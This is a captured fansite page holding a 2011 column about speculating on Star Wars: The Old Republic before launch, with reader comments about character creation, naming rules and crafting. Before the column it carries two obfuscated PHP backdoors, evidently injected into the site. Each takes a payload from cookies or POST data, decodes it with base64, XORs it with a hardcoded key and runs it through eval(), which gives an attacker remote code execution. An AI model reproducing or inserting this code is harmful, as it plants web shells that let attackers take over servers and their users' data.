$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> My Two Credits: Speculation – Corellian Run Radio
Nov 152011
 

[Ed. note: We are pleased to introduce our new weekly columnist, Maer. This week she takes a look at the issue of conjecture and guessing games as we all wait for the release of SWTOR.]

Photo-receptor Focus on: Speculation
by Maer

Welcome to the first weekly installment of “My Two Credits.  What’s Yours?”  Each week, I’ll cover something that has caught my attention or the attention of our enormous community.  I’ll give my opinion, then ask for yours.  Just like a late night talk show.  Except online.  And in print.   Anyway, you get the idea.

More My Two Credits and Comments after the jump.

So, the other night I was hanging out in Vent, per usual, playing the “Let’s Speculate” game.  It was a lively discussion about something I don’t remember.  There’s always a lot of topic jumping and I’m not sure where we were at that exact point.

We heard a voice say, “You know, you guys should really stop speculating.”

All chat immediately ceased.  Dead silence for long seconds.  I was thinking, But, but. but…

So I keyed my mic and said, “But the NDA isn’t lifted yet and a lot of us aren’t in Beta.  We have nothing to do BUT speculate!  Especially those of us not in Beta!” (Heroically, I choked back a sob.)

OK, so that’s a bit of a dramatization.  The point is, it got me to thinking about all the zillions of words that have been said over the years, months, weeks and hours we’ve spent speculating on SWTOR.  For me, this is actually part of the fun.  Although, I’d much rather be in Beta, thank you very much.  (Yayness for game testing!)

Anyway, I wonder what other people’s favorite topics to speculate about are.  Here’s mine: I’m curious as to  how long it’s going to take me to create that first character.  I tend to be one who takes forever to get it right, often deleting and starting all over.  (Champions Online: almost three hours, four versions and I still tweaked her when I got her ingame.)

I’m doing my research on available races for SWTOR and trying to look at the pics and videos that have been released to get ideas for that first, all-important main – the one that goes into the guild.  I’m just hoping I don’t have to delete her too many times.

So, now it’s your turn.  What’s your very favorite topic to speculate on…and why?

Ready…set…discuss!

  12 Responses to “My Two Credits: Speculation”

  1. Congrats on your first gig for CRR!

    Well, what can be said – I think most people have speculated about every single aspect of the game from story, to graphics, from class choice to looting options…

    Right now, with the game so close, my guild vent chat is very much swung towards the specifics and detail of class mechanics. I’m personally really itching to know how my chosen roll of Tank is going to work compared to other games I’ve tanked in. Along with this, as a group we’re all chatting about combat tactics. It is, of course, somewhat hard to have a REALLY deep conversation about it thanks to NDA, but as you say, that’s half the fun.

    I’m guessing that once the game launches, this is the speculation that will continue in to the level cap and elder game, but other topics such as gear modding, gear visuals and even more story speculation will return to the forefront of our minds as the game swallows us whole. 😛

  2. I usually take forever to create the perfect character. I don’t expect that to change in SWTOR. That may be a girl thing.

    My burning question right now is what the naming conventions will be. I definitely want to know that before going in because some names sound good by themselves and other names don’t sound good until you add a surname. And what about apostrophes or dashes or capitalization or underscores?

    We all know there will be a rush to grab names when the game launches. That’s the one thing where it actually matters if you know what the rules are before the game goes live.

  3. Welcome Maer to CRR!

    I love the concept of your column, and really enjoyed this particular article. Nobody can tell us when to stop speculating until Bioware reveals something, or until game release. I don’t really count even Beta, because until it is live, they could make lots and lots of changes.

    As far as character creation, I love to spend time make my character just so-so. It is not just a “girl thing” Kathy lol 🙂 The character creation has to be able to allow, even if limited, me to get the right “look” that fits my character.

    I am also curious about the naming part of the game. Bioware has made some mentions about it, but only to say no comment right now. I would say that even if the “look” of my character is how I want it, if there is something crazy wrong with the naming process, it will feel less like “my” character.

  4. I’d have to agree with you all, I like to spend as much time as possible getting my toon to look right. This is going to be even more important in SWTOR, as you’ll be seeing yourself a lot more in the cutscenes than in previous games, where if anything you only ever saw yourself from behind (unless you count taking screen shots).

    But to get back on topic, I’ve been speculating about the crafting aspect, may be it’s just me (i might have missed a big reveal), but I’m still not fully aware of how the crew skills work together and how you control your companions. And what if you don’t have any at the time, can you still craft?

  5. I always like to speculate on things that will surround the game after launch. Like will there be a “BioCon”? What about short movies made with in game cinematics similar to RedvsBlue. Websites in general. These are the things that I speculate on.

    On another note, My name is Remmy, and I’m an altoholic. Just throwing that out there because I make way to many alts in games, and this one will be even worse due to its story driven quests. But the reason for my alts is trying to try out different looks to go with different characters.

  6. First off, welcome Maer! Great discussion topic.
    I agree with Kathy about naming conventions. If a name I want is taken, or doesn’t fit the rules, I’ll spend an hour trying to come up with a name I like.
    My other favorite discussion topic is story. In SWTOR, I want to speculate about story. How crazy am I? It’s kinda like reading a book, trying to figure out what’ll happen next, and BAM, a wild Shyamalan-esque twist appears. Love it.

  7. I speculate the retail client will be better than the testing/beta client 🙂

  8. Welcome Maer, nice read, I liked it, biggest topic I am thinking about is will they come up with a good guild banking system. I think this is very important to all the guilds coming into the game to help with storage and crafting

  9. Thanks for the warm welcome and comments, guys and gals! Oh, a Biocon sounds intriguing, Remmy. I’d be up for that. I’m surprised interest in the character creation process is getting attention. I do get to provide amusement for those who create their characters at light speed, though. “Are you ingame, yet?” is a familiar refrain. Vax, I’m a crafter, too, so that’s another topic I’m interested in. In fact, I’ll be discussing that in a future column, so stay tuned. Actually, I’m excited about every aspect of the game and looking forward to Early Access. 🙂

  10. Great article and welcome to my favorite SWTOR fansite. Most of my specualtion revolves around which character I want to level first and which Advasnced class to choose. I think I have changed my mind 5 times so far and I still have 28 days to launch.

  11. I have too many topics of speculation to list. Even after being in beta for a weekend there is still plenty to speculate on.

  12. I was wondering about the craftable items in the game by different professions. I remember the devs talking about how the best gear in the game come from flashpoints and operations. But what about items from Biochem, cybertech and Artifice? There has not been a lot of information on these types of items, and I am trying to find out; which profession does what or the benefit for a class? if any? I enjoy farming items, crafting items and selling them just for the fun of it. Sound a bit boring, but there is a certain excitement about loging in to your toon, and seeing the mailbox full of sold items!!

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